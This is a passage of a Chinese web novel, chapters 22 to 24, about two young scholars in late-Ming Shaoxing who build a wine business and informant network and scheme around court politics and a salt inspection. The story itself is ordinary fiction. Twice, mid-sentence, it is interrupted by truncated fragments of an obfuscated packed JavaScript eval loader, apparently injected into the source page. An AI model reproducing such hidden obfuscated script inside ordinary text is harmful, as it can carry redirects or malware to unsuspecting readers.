一听到这话,船夫起身的动作便停下,晒得黝黑的脸上,一副沉思模样。 不过多时,便眨眼冒出点儿精光:“倒还真有。” “哦?说来听听。” “也就前两天吧,那县门口,大晚上来了一队人马,我看几个人急匆匆的,身上穿的也都是粗布衣裳,但那马跑的快,便没看仔细。” “是往哪个方向?” “这……好像是朝县衙门。” 郭嘉闻言皱起眉,沉思再三,便没再说什么,反倒是转而开口笑眯眯道:“孩儿笑,味道怎么样?” “好酒!老汉我还没喝过这么好的酒!这还多亏小掌柜的呢!” 这事说来话长。 22.第 22 章 关于建设情报网的事,还是周盈先提出的,主要是两个人本身都是靠脑子吃饭的,一身本事全是跟人“勾心斗角”,没点自己的情报网,总觉得耳朵聋了眼睛瞎了,太不安全。 以前年纪小,再加上家里条件不好,便没办法。如今既然条件成熟了,自然是要早点把这件事提上日程。 他言:既然孩儿笑早有名声,倒不如干脆将品牌打得更响亮一些。 于是家里几个人合计一商量:咱们这地儿水路和陆路这么发达,叫各地的船驿、马驿、马车夫、船夫等,都变成免费帮自家酒水宣传的吆喝招牌。 但更大的问题就是,怎么让这帮人都为自己所用呢? 周盈提了个招,干脆是供这些人一些免费酒水喝,顺带呢,卖出一坛酒,给多少抽成,这样一来,既有好酒,又能赚钱。 哪个人会放着这样的好事儿不干呢? 顶多是前期的亏损些,但做生意,哪有投资不亏纯赚的买卖,那不是骗人吗? 这是一举多得的事情。周瑶嗅觉敏锐,听到这个提议,立马就拍板敲定了。 辛苦两年运作,如今山阴县,昨天发生了什么事,哪户人家吵架了,昨晚夜里干了什么,只要两个人想知道,那都是知道的一清二楚的。 “嗯?郭师弟,你怎么在这儿?”买了袋糖炒栗子的张岱,见郭嘉蹲在不远处树荫底下,便好奇走了过来。 那船夫见状,立马倒头就睡,手上抄起斗笠,朝着脸上就是一盖,随后,手一指路边方向,不耐烦道:“你找车马去吧!晌午歇业,船不载人!” “……”动作真利索,演技真精湛。 郭奉孝都不得不叹为观止了。 “哦,我这是问船夫,能不能载我们去对面。”站起身的郭嘉仿佛刚才一切没发生一般,手指了指岸对面。 顺着方向,便见对面正是当地有名的酒楼,张岱嘴里咬的糖炒栗子咽下,随后不知是想到什么一般:“坐船去酒楼有什么意思?走,张师兄带你去见识见识更有趣的。” 说罢,张岱嘴角一翘,那俊俏脸上一副看好戏架势,伸手猛抄起郭嘉手臂一拽,惊的对方一阵大叫。 “张师兄,咱们还没吃午饭呢!” “知道了,走带你去吃好吃的。” 听着脚步声渐远,稍稍撩起点斗笠,露出一只眼的船夫看了一圈,发现再没人后,这才安然地酣睡过去。 潘岳私塾,下了课的周盈收拾好桌上的书籍,随后将其装进一侧布包内。 斜阳倒挂,从窗外透进晚霞。 三三两两的学生这会儿都已经走的差不多,周盈便也起身准备下学。 刚走出门口,就听到一侧陈夫子声音响起:“汝瑛,你过来。” 汝瑛是周盈的字。 这事得说到两年前,两个人连级跳,着实把私塾里的夫子们给吓了一大跳。 聪明可以,天资聪颖也不是不行,但妖孽成这样,就有点儿… 总之两个人这会儿都成私塾里师兄师弟们的传奇了,嗯……未来或许也是。 经馆的学生并不强制规定年龄大小,因而年纪稍小也不是不行,但随之而来的便是称呼问题了。 这个时代,直称人名讳,是非常没有教养的事情,还小的时候无妨,但是到年纪大了,则必须起个字才算。 因而两人虽年轻,但也早早就被赐了字。 汝瑛,意为汝即美玉。 至于郭嘉……当日郭嘉听闻一大串给自己备选的字,脸上是分外嫌弃。只说:余常读《三国志》,最敬佩其中之郭奉孝,再言吾二者皆同名同姓,我便字奉孝吧! 这事当时引起私塾轩然大波。 堪称书院头条新闻。 周盈亦是无奈,奈何郭奉孝死不改口,什么避讳,什么不合礼节,不听不听就不听。 谁都别想让我改名儿。 一番执拗,夫子们也拗不过这倔孩子,只能先答应了,表示以后郭奉孝“中二病”过了,可别羞哭鼻子,闹着改名。 郭嘉:切。 话回到这头,周盈听到夫子叫自己,便行了一礼。 陈夫子想了想道:“你和……” “奉孝。” “……” 陈夫子脸色颇为古怪,轻咳一声遮掩尴尬,手捋胡须开口:“罢了,我是想说,再过两月,便是联考,到时候整个绍兴府,有名气实力的私塾,且还请了好些有名的大儒,譬如那证人书院的刘宗周,亦会出席,你们可要好好准备。” 这事,也算是近期私塾里头的头等大事了,张岱作为最有资历和可能的学生之一,因而才被夫子们抓的这么紧。 毕竟绍兴府,人才辈出,亦是每年科举的“学霸区”,这地方科举学生,届届多达数千人,实在是令人咋舌。 能在联考夺得魁首,那么势必会在整个绍兴府出名,更甚不止于此,这对文人来说,已是一种无形嘉赏。 周盈也是明白这其中道理,听陈夫子所言,便颔首:“学生明白,夫子放心,我对这种事情素来有把握。” 陈夫子听闻,欣慰点头:“我是不担心你,是担心郭、郭……” “奉孝。” “……” 陈夫子难免心里也开始有点嘀咕了,但看自己的学生,生的秀丽端容,眼含笑意,全然无半分揶揄,便也只觉得应当是自己想多了。 “好了,如今我山阴文脉,都系在你们年轻人身上,我听闻,那证人书院刘夫子名下,有个出口成章的神童,姓黄名宗羲。汝瑛,到时候你可得狠狠替为师争光出口气!至于郭……” “奉——” “是是是,为师知道,莫念了。” 陈夫子无奈。 周盈莞尔:“夫子开明。” 聊完话头,走出门的素衣少年郎,见门外一辆马车早已等候多时,这便上了车,帘子放下,扬长而去。 “奉孝去了何处?” “回小少爷,刚还从段锦路码头船夫那听说,郭小少爷这会儿,被张岱拉着,去了戏韵楼,如今应当是在听戏。” 听戏? 周盈闻言,不免微微蹙眉。 这会儿戏曲颇为盛行,《牡丹亭记》创始人汤显祖,却也正是这个时代的人。 这俩家伙偷跑出私塾,竟然是去听了戏,倒还真是……风雅至极啊。 坐在马车内,忍俊不禁的周盈道:“走吧,去戏韵楼接人。” “是。” 一晌无话。 戏韵楼外,人来人往,多辆车马轿子停在专停的马廊、轿厅之内。 正大门牌匾高悬,左右两侧七彩绸缎随风而舞,穗子坠了铃铛,清脆声响不停歇。从门口就能听到里面传来的咿咿呀呀声。 几个穿着锦衣绸缎的年轻人,结伴着正欲从门口出来,瞧见周盈,为首那人愣了一下,随后便挂上笑脸行了一礼:“是周家小掌柜?” 周盈:…… 这称呼由来,也是说来话长了,当日周瑶拍板决定干一票大的时,颇觉吾家有儿初长成,心里自豪的不行。 后头做出了成绩,如今孩儿笑的名声如此响当当,其中有一部分,是周瑶拼了命宣传:吾儿不但聪慧,亦有持家能耐!连这分销制度,都是吾儿想出来的呢! 于是乎,周盈就成了整个山阴县,别人口中那个,小小年纪就替家里分担生活压力的,别人家的孩子。 成功吸引了一波当地所有同龄人的恶狠狠目光。 不过心里嘀咕归嘀咕,他脸色依旧带着淡然笑意,见状便回了一礼道:“他人抬举罢了,我不过是个还在读书的学生呢,几位仁兄,方听戏罢?” 为首那学生颔首一笑,对周盈似乎天然带着几分亲近好感,目光打量,便更觉,果然是百闻不如一见,这周氏小少爷,生的是端容清华,如莲似水,好个翩翩君子气度。 别介,这番夸赞,不是因为对方断袖。 而且因为这个时代,对读书人的评价,除了文化程度以外,更重要的还有一项便是,样貌。 可别心想着,怎么说好的考功名,凭的一身本事,却又看上脸了呢? 还真就这么回事,你长得不行,或者入不了主考官的眼缘,落榜概率就比其他同水平的考生大不少。 所以说,颜狗古来有。 今人不稀奇。 “是极,今日这《牡丹亭记》唱的是极好,玉茗先生这出戏写的,真是催人泪下,痛断人肠。至情至极,实感心酸。” 周盈尴尬且不失礼貌地一笑:“仁兄所言,倒令我也稀奇了。” “哎。周小少爷若是想看,不妨我们几个兄弟做个东,如何?”那年轻士人闻言,眼睛一亮,左右看了看自己人,便一个话头蹦出,直接忘了几人方散场出来的事情。 “是极!我看不错!” “……”呃呵呵… 一番你来我往虚与委蛇,周盈留了名讳,与之交谈都被迫称兄道弟起来,这才算是认了朋友,脱了身。 且看,戏韵楼一入大门,便见露天广场,上无屋檐遮蔽,只有数十条挂彩绸缎四面八方,汇聚至中央上空,一团大绣球花悬挂其中。 而后,空旷的场子摆了数十把椅子,手背配以放茶水点心的小桌。 再往前,则是一出《牡丹亭记》,已缓缓起调。 人群满座,周盈目光一转,便看到不远处前方,两个熟悉影子。 修长的手打着拍子,兀自沉浸在戏韵中的张岱,随着那唱腔激荡而喜悦,亦因曲调婉转而悲戚。 俊白脸上,这会儿变的如翻书般快。看的一旁的郭嘉嘴角一抽。 好吧,好歹只是看戏而已。 也算是文人墨客的一种雅趣了。 “宗子入了神,你我就不要打扰他了。”一侧的年轻文人手上剥了橘子,递半给了郭嘉。这人是张岱在私塾在的朋友……之一。 姓齐名轩,字湛叔。 张岱的社交圈极广,什么三教九流的人都结识,因而什么小道消息都有。 “据说,如今朝廷中,对浙党派系的清算,也算是落了尾声。而今下来个沈一贯,却又上台了几个齐、楚党,真是斗得你死我活,掐成了泥面麻花,一团乱糟。” “嗯?”微掀眼皮子的张岱,似是被拉回了注意力,侧头看了一眼自己的友人。 对方目光带着些许悲伤,放下橘子:“宗子,我只是随意一提罢了,前些年的矿税闹的有多凶,你们又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这话说的突兀,两个人都没反应过来。 郭嘉又言:“不言便是未有功名,亦无作为。如此说来,好歹那些朝中大臣都是进士出身,有了学问也是货于帝王家,而你……” 说到这,那齐轩这会儿,脸色已经难看起来,一张脸上黢黑黢黑的。 “连个举人都不成,有什么资格去言谈国家大事?” 嗯,东林党有个核心思想叫做:家事国事天下事,事事关心。 郭嘉批曰:狗抓耗子瞎操心。 “你!”齐轩压低声音,带着几分薄怒。 张岱见状眼皮一跳,见郭嘉还要开口,连捂住这人嘴巴。心里不免又是无语又是心累,自打跟这小诤友结识,张岱身边原先的那些朋友,有一个算一个,全都给这小喷子喷走了! 嘴能不能别那么刻薄! “小孩儿戏言,戏言而已。湛叔兄莫气,今日看戏,不提那些事。”祖宗,真是个祖宗了! 被捂嘴的郭奉孝打心里翻了个白眼,见那齐轩脸色稍缓,挣开张岱的禁锢又言:“我说的是实话,却叫人如芒在背,足可见行事作风邪如□□。” “……” “……” 张岱扶额。 这厢,周盈脚步不停,方见着几人位置。便见一人猛站起身,脸上怒容满面,指着两人言:“狂口小儿,不知礼数!” “宗子,你我好歹相识一场,你怎么什么朋友都交?” 对方痛心疾首,颇为惋惜。 “……”张岱心里呵呵一笑,一副:你就让我死了算了……的表情。 算了,现在跟社死也没什么区别了。 且看周围,因方才争执,闹的是一片轩然,那齐轩直接挡了后面人的视线,引人极为不快。 “干嘛呢!看不看戏了!真没规矩!” “就是,戏班子人呢?” “怎么这样的人都放进来。” 台上的花旦被这番意外,弄得唱腔都歪斜一梗,那演柳梦梅的男角亦是卡壳,一下子便接不下去了! 这出戏,唱不了了。 “哎哟,这是怎么了?”赶忙出来的戏韵楼班子,这会儿也是满头大汗的,早知道来这儿看戏的,也都算是非富即贵了,怎么还能突然冒出闹事的来? 齐轩脸色涨红,看了一圈周围,大多数眼里头全是不满,约莫也是发现自己太失礼,一时间嘴颤了颤,不知开口说什么。 转头一看,却发现方才振振有词,言辞辛辣,又毫无教养的郭嘉,这会儿一副乖巧模样,只坐在椅子上,眨巴眼睛,露出迷茫之色,朝着张岱斜凑过去,嘴里还说着更气人的话: “张师兄,这湛叔兄,气量真是狭隘,说几句就发脾气,把我吓了一跳呢。” 张岱:……你厉害,真行。 “你、你!” 眼见着事态即将升级,那戏班子班长上前,哎哟一声:“我的几位祖宗,这还是唱戏的地方呢,你们要吵,出去吵去?后头那么多客人等着看呢!” 齐轩闻言,一口气哽在喉咙,上气不接下气下气,所谓是可忍孰不可忍!被如此小儿羞辱!他忍得下去才有鬼了! 读书人,都有那么点假清高,齐轩冷哼:“这戏,我不看也罢!宗子,我实是对你失望!” 他语气带着痛心疾首,一挥袖,便与周盈擦肩而过。 张岱目光呆滞:别走啊,喂!你走了,他真没什么朋友了! 但齐轩听的到吗? 23.第 23 章 眼见着人走远,眼睛一转,张岱看了一眼混世魔王般的郭奉孝,此人这会儿一副心愿得偿,傲娇自满的模样。 他这张脸,都给闹没了。 这小混蛋,竟如此乐呵? “张师兄,不介我坐这儿?”气的不行的张岱听到声音,见着周盈,便眼睛猛的一亮。 “周师弟?你怎么来了?” “我方才,听到动静,却不想原是奉孝与人起了争执。”掀起裙摆端坐而下的周盈温和一笑,见郭嘉撇嘴,不免挑眉侧头。 “奉孝,方才所言,倒是字字珠玑。” 郭嘉如见着了天敌,轻咳一声:“那齐轩,只知空谈,整日里忧国忧民,却不曾做出什么功绩,亦无功名在身,更无法设身处地而虑。” “言及国事,却胸无实才,辩驳几回,便心浮气躁,可见非真忧国,而实慕清议之名!” “如此,还不能说几句?” 张岱深吸一口气,压低了声音:“你好歹给湛叔兄留点面子!他如今备考乡试,亦颇为用功,这忧虑之心,出发点是好的,如何说的这般尖辣?” “哦?是吗?可有为当地百姓做什么?亦为家里老母担起责?或者说……他的文章做得很好吗?” 一句一句,皆是暴击,说的张岱指着二人的手指,发了抖,一副想说话,偏又说不出什么。 周盈眼神剜了郭嘉一眼,对方冷哼,不再言语。 “张师兄莫恼,奉孝眼里容不得沙,亦是将你看做最亲近的人,这才见不得那些阿猫阿狗,沽誉钓名之辈靠近你。” 张岱听了这话,气归气,偏也说不出什么来! “……你们啊!” 他素来爱交朋友,这是事实,因而以前身边聚集的,什么样的人都有。 现在全被两个小喷子赶跑了! 周盈拿起杯子,嘴角一翘,心知张岱素来心软好说话,便又道:“张师兄紧着乡试,那些狐朋狗友的,不交就不交。这样的人,说几句真话,便怒气冲冲,足可见也实在没什么本事。” “说的在理,我便是如此想。”郭嘉在一旁插了嘴。 张岱没好气看了他一眼,见这人脸颊鼓囊,咀嚼着吃着点心,一双黑汪汪的眼睛眨巴眨巴,长睫翕动间,是十足的狡黠。 “唔!”一声痛呼。 郭嘉泪眼汪汪捂着被捏了一把的脸颊,心里实是炸毛,过分!而今小辈真是不知礼数,竟随意动手动脚! 这么一捏,张岱见他小表情,心里倒是舒坦了一些,手拿起一侧放着的折扇微展:“罢了…赶明儿我找人,去跟湛叔兄道个歉便是。” 周盈莞尔,看着台上戏腔咿呀,又续上《牡丹亭记》,却是心不在焉道:“这曲倒是谱的妙,只可惜不能见上玉茗先生一面。” 玉茗先生,是取汤显祖的书斋——玉茗堂,为尊称。 张岱深以为然。 周盈又言:“粉墨婉转,英眉烈心,唱的是情殇,哭的却是我等腐朽之身。” 张岱皱眉,似有不解:“此为何意?” 点心吃饱了,却没有酒喝,郭嘉听闻,便心领神会直接道:“此情之一字,至烈至深,叫人肝肠寸断。张师兄,你说人的感情,皆出自何处呢?” 这话说的云里雾里,张岱看了一眼两人,迟疑道:“或从……心出?” 两人对视,皆一笑道:“自是以心为论。” “……”张岱愣了片刻,皱起眉来,竟有些深思起来。 见他这般,二人便也没再说些什么,反倒是身后,听了几人言谈,那原先专心致志看戏的士人稀奇,心里只觉言谈非凡。 “两位,可是周神童郭神童?” “……” 见鬼,怎么这地方到处都是熟人。还是那种自己不认识,对方却认识自己的“熟人”。 其实,这主要还是周盈郭嘉二人,从小到大的战绩响当当,在山阴县都成一个活着的传说了。 估摸着再过不久,借着孩儿笑的名声,还能传到南直隶去呢。 真是声名远扬了。 戏腔唱罢便散场,被迫攀谈许久的周盈,脸上挂着商业般的微笑。几个人站在门口,行礼送身后几个兴致盎然的士子远去。 一转身,郭嘉手上提着点心。 再看张岱,这会儿也不知道到底是在想什么呢,想到现在还没绕出来。 二人对视:“张师兄,戏散场了,也该走了。” “……诶?周师弟,你的意思是说,这《牡丹亭记》,难道是玉茗先生所提之至情为核心,著的一部大家之作?” “心学言,心即理,难不成…” “……”两个人听了这话头,没说什么。 显然,张岱这是被俩妖孽给绕进去了,半天都没从哲学坑里爬出来。 周盈心里是罪过罪过,手拽了一把张岱,语气带着笑:“情之所至,何关乎所谓‘天理’‘人欲’?走吧,张师兄,天色渐晚,该回家了。” 几人上了马车,周盈端坐在左侧,郭嘉则百无聊赖,手里拿了本冯梦龙新出的书翻阅起来。 比起那些四书五经,心学理学,他宁愿看冯梦龙写的书,起码是有趣的。 张岱见此,惭愧一笑,叹了口气:“我读书多年,反倒是这基本道理,都想不明白,但也真是害臊。” “可别这样说。”周盈伸手撩起帘子,看窗外夕阳西下,薄红满天,远处景色如墨。 状似随意道:“前些天,听闻好像朝廷来人。咱们这地方,除了做些买卖过日子,也不知又有什么引起了上头注意?” “看来,说不准还跟最近兴起的党争有些关系?” 说到这儿,张岱方才那纠结的神色略微一变,他家到底是当地名声颇显赫的官宦世家,朝廷来人,家里头必然有所风声才是,为何他竟是全然不知? 再言,朝廷不来人,来人无小事。 这一下把张岱激得抬起了头,连带着眼神都锐利了起来。却见这周师弟,微弯眼眸:“听闻张师兄家里,产业颇丰,如今朝廷国库亏空,又正逢税收要紧关头,莫不是来这儿巡盐来了?” “师弟,这事儿你是怎么知道的?” 周盈闻言,垂眸一笑:“我这孩儿笑,送师兄一坛,回头,师兄帮我宣传宣传,如何?” “……” 马车,在张府外停了片刻后,便又扬长而去。 站在门前的张岱,心里惊疑不定,低头看了一眼手里提着的那坛孩儿笑,一时间,倒真不知道是该担忧那所谓的‘巡盐’之事,还是惊讶周盈的神通广大了。 且说回这边。 在车上坐没坐相的郭嘉,翘着二郎腿,手上书本合起,随意丢在一侧,见着周盈端坐如松,闭目养神的模样。 他道:“就这么把这事情,告诉了张岱,会不会太唐突?若是对方不信又该如何?” “他会信的。” “哦?你如此笃信?” 听到这话,周盈略抬了抬眼皮子,瞧着他微微一笑:“张岱一族虽在绍兴有些名望,但非朝中显赫的官宦世家。这是其一致命弱点。” “张岱其祖父、父亲,皆是与浙东名士私交甚密,这是其二劣势。” “如今东林渐起,齐、楚、浙又纷争不断,以顾宪成、高攀龙等人为首的东林之士,前些年还在南直隶苏州府成立了所谓的东林书院。” “如今朝局多方立足,而巡盐御史又突访绍兴府,足可见,朝中有人已经忍不住了。” 点到为止,周盈话停了下来。对面的郭嘉闻言,只皱着眉,不过多时便开口言:“你是说,有人要借张岱家族生事,对浙党动手?” 周盈叹了口气,大约也是想到了些什么,又说道:“朝堂国库亏空,前些年,皇帝又被迫停下了矿税之事,如今为补亏空,要怎么做呢?” 郭嘉挑眉,抬头看了他一眼,两人默契有余,自然早已不需再多说什么,便能明白周盈做的什么打算。 他笑了笑,语气颇有些冷然,出口之言算得上石破天惊:“那如今,我们要做的,是保住张岱,再借其背后家族势力,吞并郭氏,这样,山阴县之内,你我再无其余后患。” “有水路发达作为商业枢纽,亦有海贸出口可进白银。到时候便可心无旁骛,将整个山阴县,作为根基地。” “但……”说到这,郭嘉似有疑虑,皱眉言:“就算要动浙党,为何偏是张家?” “盐引这种东西,总要先有人出价购买,才能大办盐场,否则就是走私。至于地方,为了方便实行政策,自然势必要找个当地最有能耐的,作为钱袋子。” 随着马车轱辘转,两个人也逐渐的从闹市离开。 外头夜色渐黑,车内,周盈垂眸一思,手指下意识轻绕鬓边发丝,语气不紧不慢:“总归是怎么分钱的问题,上面要钱,下面也要钱,都要钱,钱怎么变出来呢?” “没钱,就只能……抄家。” 两个字,令马车内氛围顿时跌入冰点。 “便是念着张岱以往,对我二人的提携,如今这次危难,也总归要帮他扛过去的。”不多时,周盈开口。 “怎么帮?” 此言一出,车内便沉默了下去。 不过多时。 两人对视,突的,皆开口道:“矿税旧案。” 但紧接着郭嘉声音急切几分:“不行,这太危险,你我二人是若再扯出这矿税旧案,到时候尚能稳住的局面就彻底乱了。” “再言,早早让朝堂那帮老狐狸注意到我们,对未来的发展也不好。” 这个时候,他也没了方才那风流狡黠的劲儿,脸上满是凝重,深思熟虑之间,不知在细想什么。 察觉座下马车逐渐停下,周盈莞尔一笑:“事情越小,越容易出事。只有把事情闹大,闹到整个朝廷都知道,闹的所有人都下了水,为求自保,便容易束手束脚了。” “哦…”郭嘉眼睛一亮:“你是说,咱们借矿税旧案做文章,既然皇帝想借东林之人的手捞钱,必是睁一只眼闭一只眼。” “但我们身份不同,是矿税旧案活下来的人证,若是突然跳出来,又和张家牵扯甚密,那么这两码的事情,就容易被人混为一谈。” 听到他分析的头头是道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周盈颔首一笑:“潘婶,我娘回来了吗?” “早上就回来了,到家还念叨着你们呢,这会儿应该在屋里头。” 周瑶前些天,为了谈生意,出去了一趟。听说是南直隶那边,有个大客户,说是要专做孩儿笑的分店,把酒卖到南直隶。 这事让一家人都惊喜,说明孩儿笑,真的要走向外地了!甚至还有可能出名于整个江南地区,如何能让人不开心呢? 原先住的那间小屋,这会儿也早就被拆了重新修葺。再加上这些年生意经营的红火,除了酒坊,养的鸡鸭也能拿出去卖。 那些牲畜的粪便更能用作肥料肥田,桑叶的产粮也跟着逐步上升。 这不,一进门就看到大院子里,左右两边都摆满了养蚕的架子,见几个干练的妇人,手上动作勤快。这些都是周瑶郭怡二人,见着孤苦可怜,亦或家里困难,出钱请人来做工的。 周盈心里叹息一声,这也算是初步有了点起色了。 说实在,有了郭氏作为依仗,家里头原先的小作坊,也算是挂着郭氏名声越烧越旺了。 都说皇权不下县,这如今一亩三分地的山阴县,却也都是被这些当地乡绅牢牢把控。 想做点什么事,还是得找个靠山才行。虽说起来是不好听,但事实如此。 “今年种桑有成,来年或可请一批工人,将原先计划好的丝织业搭建起来,如此,还能借着郭氏的名声,将丝绸行业吃点掉。” 郭嘉闻言颔首:“这事还是不能太急,如今周娘的酒坊生意兴隆,旁的早已有人虎视眈眈。虽有郭氏这个地头蛇压着,但说到底,也并非万全之策。” “如今我们在地方上,除了乡绅有人,可一旦让那些当官的见着,起了念头,寻个由头,都能让我们破产的。” 此事,也是周盈迟疑和担忧的地方。丝绸业在江南,算得上是吸金利器了。种的桑养蚕,再织成丝绸,这样一来一回,扣除原先的人工、成本费用,一亩的桑田产值丝绸大概可卖十两左右。 这个数字,是种粮的十倍之差。 触目惊心。 其主要原因在,耕地种田,产出的粮,除了自己吃饭温饱,还需缴纳赋税,要起运送粮,还要预留来年的种苗,如此算下,本就不剩什么,更哪来的利润可言? 更况乎,江南重税之地,纯靠种田吃饭,那就是在温饱线挣扎,一个天灾年份就是等死。 也正应如此,周盈和郭嘉就明白了,为何这片地方的商业如此发达,也为何如此富硕。 因上有政策,下有对策。 既然种粮吃不饱容易饿死,那就只能经商做生意做买卖。 但赋税依旧是按农业来算,这样卖出的商品价值,比如丝绸,远超农业产出所得,就算交了税,最终的净利润也是非常可观。 更何况,还有一些免税的政策,比如郭氏有考取功名的读书人,可以免掉一些。 再比如,做了官,也能免一些。 这样零零碎碎下来,越大户人家的乡绅士族,交的税比起实际营收,十不足一。 那么更大的税收负担落在了谁身上,就不言而喻了。 两个人走走停停,看了一圈正吃着桑叶的蚕宝宝,聊了一会儿,心情也没那么好了。 “当然,这还都是些后话。你我二人在山阴县经营做买卖,也算是设身处地,深入调查,如今有些收获,也得了乡绅的好处……奉孝脸色怎么这么差?” 24.第 24 章 郭嘉皱眉:“没有,只是觉得,一国之弊端,如此触目惊心,叫我不免心惶惶。” 手上将盖子合上,周盈闻言转头一笑,他一身素白衣衫,还是前些年家里头织布女工织出来的布匹裁的,修长挺拔,又有暗纹锦簇,披以白色薄纱,行走间飘飘如仙,气质脱俗。 “我们自然不是纯为了做生意搞经营。知道了哪里出问题,了解了何处有顽疾,咱们做‘大夫‘的,才好对症下药啊。” 他说的话头头是道,郭嘉抱着胸,抬头道:“丝绸大户何其多,你我贸然涉足,恐有危险。再说,便是为了未来海贸做打算,也得细想将来阻力何其重呢?” 这个是避不开的事情。实际上在这个时候,朝廷就已经对进出口的船只进行了收税。 叫做引税、水饷、陆饷。 引税,顾名思义就是进出海贸的官方许可证。 水饷,是按商船的吨位收费。 陆饷,就是常说的货物进出税。 内陆地区的叫钞关,计算方式大差不差,只不过略了引税。 一件商品,想从山阴县港口出去,首先要过的就是绍兴府的地方官,然后过一个关口收一次费,最后到达出海贸易港口,还得如上所述来一遍。 其中可盘剥的空间,零零碎碎的打点和税目,触目惊心。 “商农皆是鱼肉,唯有做官的,吃的满嘴流油。”周盈叹了一句。 “而今,这也是你我最大的致命点。我们在朝廷没有人。” 说到这话,郭嘉愣了愣,随后似乎是恍然一般:“所以,你方才提起矿税旧案,莫不是……” 周盈莞尔:“没有靠山,那就要找。但找不找的到,还得看自己有没有那个本事。” 郭嘉瞪大眼睛:“妖孽。” “非也,你我……”周盈嘴角一翘,修长素白的手指,比划了一个二字:“半斤八两。” “……” 见他脸上吃瘪,嘴角一抽,周盈哈哈一笑,收回手捋了捋发丝,神情颇为轻快,提着衣摆跨进门槛。 可见此人恶劣趣味,徒留郭奉孝一人无语腹诽。 算不得奢华的屋内,只能堪称“简朴大气”。周盈不是喜享受的性格,再加上周瑶郭怡二人吃的苦头多,因而过的也都清简。 周瑶见到自己儿子进门,便放下了手里的账目,脸上顿时挂起笑来,见周盈欲行礼,上前一步扶起。 “我儿,这些日子可照顾好自己了?让为娘瞧瞧。” 周瑶稀罕,左看看右看看。 以前那个在自己怀里哭闹的小婴儿,这会儿竟是出落得如此谦谦温雅,不免的,眼里闪烁几分赞叹自豪来。 至于周盈? 心里尴尬归尴尬,也只能面带笑容,礼貌开口:“娘亲,孩儿已经长大了,若连照顾自己都做不好,将来如何撑起这个家呢?” 话说出口,一旁走出来的郭怡也是呵呵笑着:“你啊,就是瞎担心。我都说了,盈儿如今有出息了,连郭氏那头的人,前两日都派人过来送了不少礼呢。” “诶?他们那儿来人做什么?难不成是又想打我们这点经营小买卖的主意?” 自郭嘉认祖归宗后,郭氏的人,总是时不时会关注两个寡母经营起来的小本生意,这不,前些天,那郭氏老祖宗,听闻孩儿笑名气越来越多,还派人过来问,要不要在官面帮着走一遭?可还缺人?需要什么帮助尽管说。 言外之意就是,你们厉害,却也得念着郭氏这些年给你们的方便。 嗯……总归是一些人心算计。 周盈素来不喜欢这些家族里的弯弯绕绕。一眼就看明白的东西,却总喜欢用言外之意敲打,人啊……总是心口不一的。 因而,郭嘉虽认祖归宗,但两家人,也没有回去住。这主要是外面做事也方便。 “切,那群老家伙,如今是看着咱们日子好起来了,孩子们都有出息了,这才改了脸色。当年那鼻孔出气的样子,你我又不是没见过!”周瑶冷哼,这些年在外经商打拼,将她整个人都打磨的锐利干练,如今越发有大将之风。 嗯,这个是周盈心里单方面点评。 “改天,得把那些东西全送回去,什么玩意儿!一些破烂就能打发了我们?当年最难的时候,不曾来雪中送炭,如今反倒是眼巴巴凑上来,我周瑶还真是看不上他们!” “说得好!”郭嘉突的拍手鼓掌。 几个人目光就转向了他。 “嗯?看我干嘛?周娘说得好,我便闻之兴喜,总不能话都不让我说吧?”郭嘉翘着腿,不知道什么时候已经坐到了一旁的椅子上,斜斜倚着,坐没个坐像。 “哎,算了,说那些干嘛,晦气。我今儿回来,却是带来了一桩好事!”说着话,周瑶竖起手指,眼里带着笑意。 这关子卖的… “嗯?你们不想知道吗?” “啊、啊……想啊!想!”周盈呵呵一笑,看了一眼没个人样的郭嘉, 后者懒懒散散的坐起身:“看来周娘生意谈成了?” 周瑶莞尔:“非但如此,那赵掌柜原是南直隶最大酒水作坊。为娘的都问清楚了。其一,孩儿笑送过去后,先是供与当地最大酒楼来宾馆楼,这样一来便是落地生了根。” “其二,当地达官贵人喜于家中宴请宾客,其中酒水多以美名显赫为主,孩儿笑小有名气,若能打通这层关系,那么到时候整个江南地区酒水供应,皆入我等手中!” 她说的头头是道,眼里闪烁着赚钱的精光,一张堪称“前途似锦”的大饼,徐徐摆在几人面前。 “……” “……” “娘,我觉得,当务之急,还是先想想怎么解决咱们这个小作坊,产出问题。” 周盈适时开口,敲碎了自家娘亲有点不切实际的商业蓝图。 这事儿,一听就不靠谱。 别的不说,那其他以酒水起家的大户,能眼睁睁看着吗?这事牵扯到的是整个江南商圈,商圈衔接的可是官场啊。 被这么一打岔,周瑶叹了一声:“诶,这事儿为娘也知道,这不是刚去了一趟南直隶,打听了点消息吗?” “再言,吾儿如此聪慧,可不得帮为娘分析分析?那赵掌柜说的头头是道,听起来颇为有利可图,我也看过了当地那些分店选址,地处繁华闹市,有日进千斗之潜力——” “停停停……!”郭嘉冷汗直冒,这越听越觉得不对劲。整个人从椅子上站了起来,走来走去的,把几个人都看的云里雾里。 “嘉儿怎么了?周娘说的不妥?” 脚步一顿。 “自然!” 他的声音把几人吓了一跳。 随后郭嘉转身,手指那本账目:“周娘,这账,是要怎么算?” 听此言,周瑶皱眉:“自然从成本、人工、打点花销等一一算去,再扣税赋,才得毛利。” “这就对了。” 周瑶闻言,一时间不说话了。 一旁的郭怡听的有些不太懂:“这是怎么?难不成是账不对?” 周盈无奈一笑:“确实是‘账’不对,此‘账’触目惊心,竟是叫娘亲,都眼花缭乱了!” 回过神,周瑶一拍脑门,语气带着几分怒意:“哎!我这竟是差点着了那混蛋的道!” 郭怡皱了皱眉:“难不成是忘了什么?” “不,只是那赵掌柜,盯上咱们孩儿笑,如今吹的天花乱坠,却不曾拿出些实际的东西。” “想来,有好事儿,何必非得求到如此远的地方,来咱们山阴县,找我们做生意?” 郭嘉也是没好气,这世上的利益大事,凡是违背人性的,大多数都是坑!这是最基本的道理。他叹了口气:“周娘志向远大,去了一趟南直隶,但也不算败兴而归,起码……” “起码,知道了南直隶的酒水行当如何,为将来做打算。”周盈一锤定音。 几个人相视一笑,只有周瑶一副哀叹连连的模样,似乎是颇为可惜这到手的机会不翼而飞。 是夜,吃的晚饭,三菜一汤,荤素搭配营养均衡。周盈不喜过度铺张浪费,因此也不挑食,做什么就吃什么。 